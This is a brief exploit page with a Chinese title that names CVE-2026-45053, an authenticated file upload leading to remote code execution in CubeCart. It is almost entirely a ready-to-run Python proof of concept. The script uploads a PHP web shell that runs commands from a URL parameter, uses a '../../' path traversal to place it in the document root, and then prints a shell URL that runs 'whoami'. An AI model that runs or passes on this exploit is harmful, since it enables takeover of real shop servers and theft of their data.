CVE-2026-45053 CubeCart 认证任意文件上传致RCE漏洞

import requests # Target configuration target_url = "http://example.com/api/v1/files" api_key = "VALID_API_KEY_WITH_RW_PERMISSION" # Replace with actual key # Headers including Authorization headers = { "Authorization": f"Bearer {api_key}" } # PHP Webshell payload php_code = "<?php system($_GET['cmd']); ?>" # Exploit the path traversal in 'filepath' to upload to root files = { 'file': ('shell.php', php_code, 'application/x-php') } data = { 'filepath': '../../' # Traversal to document root } # Send the malicious request response = requests.post(target_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Webshell uploaded at: http://example.com/shell.php?cmd=whoami") else: print("[-] Exploit failed.")